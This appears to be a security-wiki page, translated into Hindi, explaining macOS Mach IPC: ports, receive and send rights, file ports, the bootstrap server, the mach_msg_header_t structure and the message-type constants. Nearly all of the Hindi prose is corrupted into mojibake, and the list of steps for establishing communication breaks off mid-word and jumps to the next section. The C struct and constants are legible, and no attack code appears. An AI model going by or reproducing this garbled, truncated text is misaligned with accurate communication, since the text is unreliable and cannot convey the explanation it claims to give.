macOS IPC - Inter Process Communication

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Mach рд╕рдВрджреЗрд╢

рдореМрд▓рд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Mach рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрд╕рд╛рдзрди рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЫреЛрдЯреА рдЗрдХрд╛рдИ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рдореЗрдВ рдХрдИ рдзрд╛рдЧреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпреЗ рдХрд╛рд░реНрдп рдФрд░ рдзрд╛рдЧреЗ 1:1 рдореИрдк рдХрд┐рдП рдЧрдП рд╣реИрдВ POSIX рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдзрд╛рдЧреЛрдВ рдХреЗ рд╕рд╛рдеред

рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ Mach рдЗрдВрдЯрд░-рдкреНрд░реЛрд╕реЗрд╕ рдХрдореНрдпреВрдирд┐рдХреЗрд╢рди (IPC) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ-рддрд░рдлрд╛ рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╕рдВрджреЗрд╢ рдкреЛрд░реНрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдХрд░реНрдиреЗрд▓ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рд╕рдВрджреЗрд╢ рдХрддрд╛рд░реЛрдВ рдХреА рддрд░рд╣ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВред

рдкреЛрд░реНрдЯ Mach IPC рдХрд╛ рдореМрд▓рд┐рдХ рддрддреНрд╡ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ IPC рддрд╛рд▓рд┐рдХрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ mach рдкреЛрд░реНрдЯ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдЪ рдкреЛрд░реНрдЯ рдХрд╛ рдирд╛рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ (рдХрд░реНрдиреЗрд▓ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░)ред

рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХ рдкреЛрд░реНрдЯ рдирд╛рдо рдХреЛ рдХреБрдЫ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдп рдХреЛ рднреЗрдЬ рд╕рдХрддреА рд╣реИ рдФрд░ рдХрд░реНрдиреЗрд▓ рдЗрд╕реЗ рджреВрд╕рд░реЗ рдХрд╛рд░реНрдп рдХреА IPC рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдЗрд╕ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ред

рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░

рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░, рдЬреЛ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдХрд╛рд░реНрдп рдХрд┐рд╕ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рд╕рдВрднрд╛рд╡рд┐рдд рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ (рдпрд╣рд╛рдБ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд╛рдПрдБ):

  • рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░, рдЬреЛ рдкреЛрд░реНрдЯ рдХреЛ рднреЗрдЬреЗ рдЧрдП рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Mach рдкреЛрд░реНрдЯ MPSC (рдПрдХрд╛рдзрд┐рдХ рдЙрддреНрдкрд╛рджрдХ, рдПрдХрд▓-рдЙрдкрднреЛрдХреНрддрд╛) рдХрддрд╛рд░реЗрдВ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреВрд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╣рд░ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ рдкрд╛рдЗрдкреНрд╕ рдореЗрдВ, рдЬрд╣рд╛рдВ рдХрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рд╕рднреА рдПрдХ рдкрд╛рдЗрдк рдХреЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░реНрд╕ рдХреЛ рдзрд╛рд░рдг рдХрд░ рд╕рдХрддреА рд╣реИрдВ)ред

  • рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓рд╛ рдПрдХ рдХрд╛рд░реНрдп рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рднреЗрдЬрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕реЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рдХрд╛рд░реНрдп рдХреЗ рдкрд╛рд╕ рдЕрдкрдиреЗ рдкреЛрд░реНрдЯ рдкрд░ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддрд╛ рд╣реИред

  • рдЕрдЧрд░ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рдХрд╛ рдорд╛рд▓рд┐рдХ рдорд░ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдЙрд╕реЗ рдорд╛рд░ рджреЗрддрд╛ рд╣реИ, рддреЛ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдЕрдирд░реНрдердХ (рдорд░рд╛ рдирд╛рдо) рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

  • рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░, рдЬреЛ рдкреЛрд░реНрдЯ рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

  • рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдХреНрд▓реЛрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдХрд╛рд░реНрдп рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдХреНрд▓реЛрди рдХрд░ рд╕рдХреЗ рдФрд░ рдЗрд╕реЗ рддреАрд╕рд░реЗ рдХрд╛рд░реНрдп рдХреЛ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХреЗред

  • рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ Mac рд╕рдВрджреЗрд╢ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреА рдкрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

  • рдПрдХ рдмрд╛рд░ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░, рдЬреЛ рдкреЛрд░реНрдЯ рдХреЛ рдПрдХ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

  • рдпрд╣ рдЕрдзрд┐рдХрд╛рд░ рдХреНрд▓реЛрди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдЕрдзрд┐рдХрд╛рд░, рдЬреЛ рдПрдХ рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдПрдХ рдПрдХрд▓ рдкреЛрд░реНрдЯред рдкреЛрд░реНрдЯ рд╕реЗрдЯ рд╕реЗ рд╕рдВрджреЗрд╢ рдХреЛ рдбреАрдХреНрдпреВ рдХрд░рдиреЗ рд╕реЗ рдпрд╣ рдЙрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╕реЗ рд╕рдВрджреЗрд╢ рдХреЛ рдбреАрдХреНрдпреВ рдХрд░рддрд╛ рд╣реИред рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдкреЛрд░реНрдЯреЛрдВ рдкрд░ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, Unix рдореЗрдВ select/poll/epoll/kqueue рдХреА рддрд░рд╣ред

  • рдорд░рд╛ рдирд╛рдо, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдХреЗрд╡рд▓ рдПрдХ рдкреНрд▓реЗрд╕рд╣реЛрд▓реНрдбрд░ рд╣реИред рдЬрдм рдПрдХ рдкреЛрд░реНрдЯ рдирд╖реНрдЯ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреЛрд░реНрдЯ рдХреЗ рд╕рднреА рдореМрдЬреВрджрд╛ рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рдорд░реЗ рдирд╛рдо рдореЗрдВ рдмрджрд▓ рдЬрд╛рддреЗ рд╣реИрдВред

рдХрд╛рд░реНрдп SEND рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рджреВрд╕рд░реЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд╕рдВрджреЗрд╢ рд╡рд╛рдкрд╕ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред SEND рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдХреНрд▓реЛрди рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдп рдПрдХ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рддреАрд╕рд░реЗ рдХрд╛рд░реНрдп рдХреЛ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╕рд╛рде, рдПрдХ рдордзреНрдпрд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬрд┐рд╕реЗ рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдмреАрдЪ рдкреНрд░рднрд╛рд╡реА рд╕рдВрдЪрд╛рд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдлрд╛рдЗрд▓ рдкреЛрд░реНрдЯ

рдлрд╛рдЗрд▓ рдкреЛрд░реНрдЯ рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░реНрд╕ рдХреЛ Mac рдкреЛрд░реНрдЯ рдореЗрдВ рдмрдВрдзрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ (Mach рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред fileport_makeport рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд┐рдП рдЧрдП FD рд╕реЗ fileport рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ fileport_makefd рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╛рдЗрд▓рдкреЛрд░реНрдЯ рд╕реЗ рдПрдХ FD рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛

рдкрд╣рд▓реЗ рд╕реЗ рдХрд┐рд╕реА рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рдПрдХ рдЕрдзрд┐рдХрд╛рд░ рднреЗрдЬрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдкрд╣рд▓реА рд╕рдВрдЪрд╛рд░ рдХреИрд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ?

рдЗрд╕рдХреЗ рд▓рд┐рдП, рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рд╕рд░реНрд╡рд░ (рдореИрдХ рдореЗрдВ рд▓реЙрдиреНрдЪрдбреА рд╣реИ) рд╢рд╛рдорд┐рд▓ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдХреЛрдИ рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрд╛рд░ рдорд╛рдВрдЧ рд╕рдХрддреЗ рд╣реИрдВ:

  1. рдХрд╛рд░реНрдп A рдПрдХ рдирдпрд╛ рдкреЛрд░реНрдЯ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддрд╛ рд╣реИред

  2. рдХрд╛рд░реНрдп A, рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рдзрд╛рд░рдХ рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред

  3. рдХрд╛рд░реНрдп A рдмреВрдЯ

рдПрдХ Mach рд╕рдВрджреЗрд╢

рдпрд╣рд╛рдБ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛рдПрдВ

mach_msg рдлрд╝рдВрдХреНрд╢рди, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рд╣реИ, Mach рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдВрджреЗрд╢ рдХреЛ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рд╕рдВрджреЗрд╢ рдХреЛ mach_msg_header_t рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрд░рдВрдн рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрджреЗрд╢ рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред рд╕рдВрд░рдЪрдирд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдПрдХ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рд╡реЗ Mach рдкреЛрд░реНрдЯ рдкрд░ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреА рд╣реИрдВред рдЙрд▓реНрдЯреЗ, рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдПрдХ рднреЗрдЬрдиреЗ рдпрд╛ рдПрдХ рдмрд╛рд░ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдХреЗрд╡рд▓ рдПрдХ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЙрд╕рдХреЗ рдмрд╛рдж рдпрд╣ рдЕрдорд╛рдиреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдлрд╝реАрд▓реНрдб msgh_bits рдПрдХ рдмрд┐рдЯрдореИрдк рд╣реИ:

  • рдкрд╣рд▓рд╛ рдмрд┐рдЯ (рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг) рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрджреЗрд╢ рдЬрдЯрд┐рд▓ рд╣реИ (рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдиреАрдЪреЗ рдЕрдзрд┐рдХ)

  • рддреАрд╕рд░рд╛ рдФрд░ рдЪреМрдерд╛ рдХрд░реНрдиреЗрд▓ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ

  • рджреВрд╕рд░реЗ рдмрд╛рдЗрдЯ рдХреЗ 5 рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд╛рдЙрдЪрд░ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: рдПрдХ рдФрд░ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдкреЛрд░реНрдЯ рдХреБрдВрдЬреА/рдорд╛рди рд╕рдВрдпреЛрдЬрди рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдПред

  • рддреАрд╕рд░реЗ рдмрд╛рдЗрдЯ рдХреЗ 5 рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

  • рдЪреМрдереЗ рдмрд╛рдЗрдЯ рдХреЗ 5 рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреВрд░рд╕реНрде рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

рд╡рд╛рдЙрдЪрд░, рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдкреЛрд░реНрдЯ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдХрд╛рд░ рд╣реИрдВ (рд╕реЗ mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, MACH_MSG_TYPE_MAKE_SEND_ONCE рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реВрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдПрдХ-рдмрд╛рд░-рднреЗрдЬреЗрдВ рдЕрдзрд┐рдХрд╛рд░ рдХреЛ рдЙрддреНрдкрдиреНрди рдФрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕реЗ MACH_PORT_NULL рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЛ рдЬрд╡рд╛рдм рджреЗрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рди рд╣реЛред

рдПрдХ рд╕рд░рд▓ рджреНрд╡рд┐рджрд┐рд╢реАрдп рд╕рдВрдЪрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдорд╢реАрди рд╕рдВрджреЗрд╢ рд╣реЗрдбрд░ рдореЗрдВ рдПрдХ рдЙрддреНрддрд░ рдкреЛрд░реНрдЯ (msgh_local_port) рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрд╣рд╛рдВ рд╕рдВрджреЗрд╢ рдХрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдЗрд╕ рд╕рдВрджреЗрд╢ рдХрд╛ рдЙрддреНрддрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рджреНрд╡рд┐рджрд┐рд╢реАрдп рд╕рдВрдЪрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХреНрд╕рдкреАрд╕реА рд╕рдВрджреЗрд╢реЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдЙрдореНрдореАрдж рд░рдЦрддреЗ рд╣реИрдВ (xpc_connection_send_message_with_reply рдФрд░ xpc_connection_send_message_with_reply_sync)ред рд▓реЗрдХрд┐рди рдЖрдо рддреМрд░ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рдкреЛрд░реНрдЯ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдкрд╣рд▓реЗ рд╕реНрдкрд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ рджреНрд╡рд┐рджрд┐рд╢реАрдп рд╕рдВрдЪрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рд╕рдВрджреЗрд╢ рд╣реЗрдбрд░ рдХреЗ рдЕрдиреНрдп рдлрд╝реАрд▓реНрдб рд╣реИрдВ:

  • msgh_size: рдкреВрд░реЗ рдкреИрдХреЗрдЯ рдХрд╛ рдЖрдХрд╛рд░ред

  • msgh_remote_port: рдЬрд┐рд╕ рдкреЛрд░реНрдЯ рдкрд░ рдпрд╣ рд╕рдВрджреЗрд╢ рднреЗрдЬрд╛ рдЧрдпрд╛ рд╣реИред

